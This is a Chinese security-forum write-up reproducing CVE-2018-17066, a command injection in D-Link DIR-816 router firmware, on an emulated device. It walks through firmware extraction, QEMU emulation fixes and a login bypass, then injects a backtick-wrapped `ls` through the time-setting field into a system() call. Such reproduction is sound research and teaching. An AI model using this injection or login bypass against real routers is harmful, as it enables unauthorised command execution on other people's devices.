首页
社区
课程
招聘
[原创]CVE-2018-17066复现(D-Link命令注入漏洞)
2024-6-5 11:32 2931

[原创]CVE-2018-17066复现(D-Link命令注入漏洞)

2024-6-5 11:32
2931

借鉴复现笔记:

  1. cve-2018-17066复现 | 1uckyc's blog
  2. DIR-816 模拟执行与命令注入漏洞分析 - IOTsec-Zone
  3. VulInfo/D-Link/DIR-816/cmd_injection_0/README.md at master · PAGalaxyLab/VulInfo (github.com)
  4. 物联网终端安全入门与实践之玩转物联网固件(中) - SecPulse.COM | 安全脉搏
  5. Debugging D-Link: Emulating firmware and hacking hardware (greynoise.io)

CVE-2018-17066漏洞概述:在该路由的前端页面中存在时间设置页面,但是我们手动输入的时间并没有被过滤,就会直接将数据传输到后端处理,经过一段函数调用后会将参数传入system作为参数从而实现命令注入!(任意命令执行)

环境准备:kali2023因为自带bp不用安装了!!!

利用链:
前端发送post请求将时间数据发送给后端-》websOpenListen监听请求-》收到请求后使用sub_4572A4函数进行时间设置-》由于未进行任何过滤导致doSystem("date -s \"%s\"", Var);会直接将传入的参数作为system的参数-》从而实现命令注入!

D-Link固件提取

固件下载地址:D-Link Technical Support (dlink.com.cn)

下载后就可以检查一下文件的属性了:

文件属性:U-Boot: OS Kernel Image("Linux Kernel Image")[Linux,MIPS,lzma]

直接到Ubuntu里面提取一下固件文件:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
~/Pwn_CVE/CVE-2018-17066$ binwalk -Me DIR-816.img
 
DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
4280396       0x41504C        Linux kernel version 2.6.36
4280496       0x4150B0        CRC32 polynomial table, little endian
4327552       0x420880        CRC32 polynomial table, little endian
4348800       0x425B80        SHA256 hash constants, little endian
4350160       0x4260D0        AES Inverse S-Box
4350928       0x4263D0        AES S-Box
4642928       0x46D870        xz compressed data
4675640       0x475838        Unix path: /var/run/goahead.pid
4764032       0x48B180        Unix path: /etc/Wireless/RT2860AP/RT2860AP.dat
4789596       0x49155C        XML document, version: "1.0"
4819148       0x4988CC        HTML document header
4819285       0x498955        HTML document footer
4839035       0x49D67B        Neighborly text, "neighbor %.2x%.2x.%pM lostd_delay_timer"
5018336       0x4C92E0        CRC32 polynomial table, little endian
5021872       0x4CA0B0        AES S-Box

·
binwalk 是一种常用于数字取证和二进制分析的工具。你提供的命令 binwalk -Me DIR-816.img 是用来执行 binwalk 的特定操作的。下面解释一下命令中每个部分的含义:

  • binwalk:这是命令本身,表示你想要使用 binwalk 工具。
  • -Me:这些是修改 binwalk 行为的选项或标志。具体来说,-M 告诉 binwalk 在发现文件时自动提取它们,-e 告诉它递归地从其他文件中提取文件。
  • DIR-816.img :这是你想要 binwalk 分析并从中提取文件的文件或目录的名称。

提取出来的文件:

SquashFS 是一套基于Linux内核使用的压缩只读文件系统。该文件系统能够压缩系统内的文档,inode以及目录,文件最大支持2^64字节,简介:squashfs介绍和安装_unsquashfs-CSDN博客
squashfs-root就是我们需要找到的根目录!

D-Link路由模拟执行

我们主要分析的是goahead:

查看一下goahead的属性和链接:

1
2
3
brinmon@brinmon-virtual-machine:
~/Pwn_CVE/CVE-2018-17066/_DIR-816.img.extracted/squashfs-root$ file ./bin/goahead
./bin/goahead: ELF 32-bit LSB executable, MIPS, MIPS-II version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped

两种启动方法:

1
2
3
4
5
6
7
8
1. **动态版本 (`qemu-mipsel`)**:适合在有所有必要共享库的系统上使用,可以节省磁盘空间。
注:通过-L设置根目录
sudo qemu-mipsel -L ./ ./bin/goahead
 
2.- **静态版本 (`qemu-mipsel-static`)**:由于不依赖外部库,它更便于分发和在各种环境中运行。
注:chroot . 设置根目录
cp $(which qemu-mipsel-static) ./
sudo chroot . ./qemu-mipsel-static ./bin/goahead

goahead.pid未找到报错

运行后发现报错!

在ida找到该字符串:

分析该文件的报错原因是因为没有"/var/run/goahead.pid"

解决方案手动创建一个:

1
2
3
4
注:删除文件夹:rm -rf ./var/run
 
mkdir ./var/run
touch ./var/run/goahead.pid

var/run/nvramd.pid未找到报错

完成第一个报错修复后重新仿真程序,程序继续执行时出现错误:"waiting for nvram_daemon",如下图所示。

根据ida继续找到字符串,发现不可以使用交叉引用,大概率是因为进行了混淆!

根据下面的字符串"goahead.c"的交叉引用找到了目标位置!还可以通过动态调试来定位!
分析发现原因,这两个字符串是通过偏移来定位的,还发现个问题这里的fopen的第二个参数是再调用fopen后才传入的不理解:

1
2
3
4
5
6
7
8
li      $s3, dword_480000                # 定位字符串的基址1
li      $s2, aEttimeoutDocum             # 定位字符串的基址2
...
loc_45C72C:                              # CODE XREF: setDefault+98↓j
la      $t9, fopen                       # 传入要调用的函数fopen地址
addiu   $a0, $s3, -0x3124                # 定位字符串"/var/run/nvramd.pid"
jalr    $t9 ; fopen                      # 调用fopen函数
addiu   $a1, $s2, 0x4CDC                 # 根据偏移发现地址474CDC,是一个单词的字母"r"

这里就算IDA的伪代码了!

解决方案继续手动创建文件。

1
touch ./var/run/nvramd.pid

缺少二进制ip数据报错

继续运行发现有很多东西不存在继续创建,再看下最主要的报错是:
initWebs: failed to convert to binary ip data,缺少二进制ip数据

根据字符串锁定位置:

报错原因:nvram_bufget函数无法读取lan_ipaddr,而nvram_bufget是从/dev/nvram中读取数据。

1
2
3
4
知识的拓展:
在Linux操作系统中,硬件设备也被看做文件来处理,/dev/nvram是非易失性存储器nvram设备_(具体概念在5.3.2章节进行介绍)_。
 
`/dev/nvram` 提供了一种方便的方式来访问和管理系统的非易失性存储器,可以用于存储系统配置、启动参数和硬件设置等重要信息,是其他硬件用来存储信息的地方

这里的解决方案:

  1. RT-AX55环境搭建 | ioo0s's blog
  2. pr0v3rbs/FirmAE:面向物联网固件的大规模仿真,用于动态分析 --- pr0v3rbs/FirmAE: Towards Large-Scale Emulation of IoT Firmware for Dynamic Analysis (github.com)

还有其他解决方案:

  1. 解劫持动态链接库
  2. patch 原程序来实现

a. 使用LD_PRELOAD方式劫持动态链接库实现nvram设备的模拟(实现失败原因未知)

由于报错函数是nvram_bufget所以我们只需要劫持这个函数所在的so文件我们就可以实现正常的ip地址获取了!
FirmAE提供的libnvram库源码:FirmAE/sources/libnvram/config.h at master · pr0v3rbs/FirmAE (github.com)
为了适配环境做一些相应的修改:

  1. 修改config.h的挂载路径:
1
2
3
4
// Mount point of the base NVRAM implementation.
#define MOUNT_POINT         "/mnt/libnvram/"
// Location of NVRAM override values that are copied into the base NVRAM implementation.
#define OVERRIDE_POINT      "/mnt/libnvram.override/"
  1. 修改config.h中启动web页面的ip地址
1
2
ENTRY("lan_ipaddr", nvram_set, "192.168.126.130") \
ENTRY("lan_bipaddr", nvram_set, "192.168.126.255") \

接下来成功编译:

1
2
mipsel-linux-gnu-gcc -c -O2 -fPIC -Wall nvram.c -o nvram.o
mipsel-linux-gnu-gcc -shared -nostdlib nvram.o -o libnvram.so

经过上面的步骤发现网卡不对,在ubnutu上网卡为ens33,还是切换到kali进行实现步骤如上:

1
2
┌──(root㉿kali)-[/home//Pwn_CVE/CVE-2018-17066/_DIR-816A2_FWv1.10CNB05_R1B011D88210.img.extracted/squashfs-root]
└─# chroot . ./qemu-mipsel-static -E LD_PRELOAD="./libnvram.so" ./bin/goahead

b.patch 原程序来实现

先ida动态调试一下手动修改值:

1
2
┌──(root㉿kali)-[/home//Pwn_CVE/CVE-2018-17066/_DIR-816A2_FWv1.10CNB05_R1B011D88210.img.extracted/squashfs-root]
└─# chroot . ./qemu-mipsel-static -g 23946  ./bin/goahead

IDA动态调试附加上这个端口!
修改地址:0x45CDD4 (将v0的赋值修改为0,就不会报错了)

成功运行之后就会出现登录页面,在浏览器访问ip地址后:

1
http://192.168.126.131/dir_login.asp/


成功!!

开始寻找存在漏洞的页面

在这里需要绕过路由的账号和密码!

有两种方式可以绕过:

1.修改前端的asp页面的js代码

1
/home/kali/Pwn_CVE/CVE-2018-17066/_DIR-816A2_FWv1.10CNB05_R1B011D88210.img.extracted/squashfs-root/etc_ro/web/dir_login.asp

找到这个页面并且修改里面的前端检验逻辑,将非空检查这些代码去除:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
function onlogin() {
/*
 if (document.test.show_username.value.length <= 0) {
  alert("请输入用户名!");
  document.test.show_username.focus();
  return false;
 }
 if (document.test.show_username.value != "")
 {
    document.test.username.value = Base64.Encode(document.test.show_username.value);
 }
  if ( document.test.password.value != "")
 {
    document.test.password.value = Base64.Encode(document.test.password.value);
 }
 document.test.show_username.disabled = true;
 */
 return true;
}

这样就可以成功绕过!将账号密码都置空,从而绕过strcmp的对比!!

2.动态调试修改strcmp的比对结果

成功锁定函数:

在该位置下断点并且修改v0为0

3.登录界面前后端通信原理

  1. 前端js代码通过submit提交post请求将参数传给后端来处理
  2. 后端通过websOpenListen函数持续监听前端发送过来的post请求并进行处理
  3. 成功处理后,后端会发送新的页面信息给前端,实现前端页面跳转!

成功绕过登录验证

成功登入之后就可以访问访问:

1
http://192.168.126.131/d_wizard_step1_start.asp

由于kali2023自带bp,所以可以直接使用bp拦截实现命令注入:

ls写入date数据段,实现命令注入成功!

最后总结分析

通过拼接字符串将ls嵌入命令中实现任意命令执行!
linux知识点:

1
反引号 (``) 或 $() 形式

反引号用于命令替换,即在反引号内的命令会先执行,其输出结果会替换反引号的内容。现代脚本中,推荐使用 $() 形式,因为它更易读且支持嵌套。

┌──(kali㉿kali)-[~/tools/BurpSuite V2024.3.1.2]
└─$ date -s "`ls`2024-6-05 01:58:39"
date: 无效的日期 "清除许可证和数据.bat\n使用说明.txt\nBurpSuite\nCNBurp(无CMD窗口).VBS\nCN-JRE Burp.bat\nENBurp(无CMD窗口).VBS\nEN-JRE Burp.bat\njre\nLinux\nStart.bat\nStart.VBS2024-6-05 01:58:39"
                                                                                                                    
┌──(kali㉿kali)-[~/tools/BurpSuite V2024.3.1.2]
└─$ "`ls`"                          
清除许可证和数据.bat
使用说明.txt
BurpSuite
CNBurp(无CMD窗口).VBS
CN-JRE Burp.bat
ENBurp(无CMD窗口).VBS
EN-JRE Burp.bat
jre
Linux
Start.bat
Start.VBS:未找到命令
                             

利用链:
前端发送post请求将时间数据发送给后端-》websOpenListen监听请求-》收到请求后使用sub_4572A4函数进行时间设置-》由于未进行任何过滤导致doSystem("date -s \"%s\"", Var);会直接将传入的参数作为system的参数-》从而实现命令注入!


[培训]《安卓高级研修班(网课)》月薪三万计划,掌握调试、分析还原ollvm、vmp的方法,定制art虚拟机自动化脱壳的方法

最后于 2024-6-5 13:55 被Loserme编辑 ,原因: mkdown文本有问题
收藏
免费 1
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回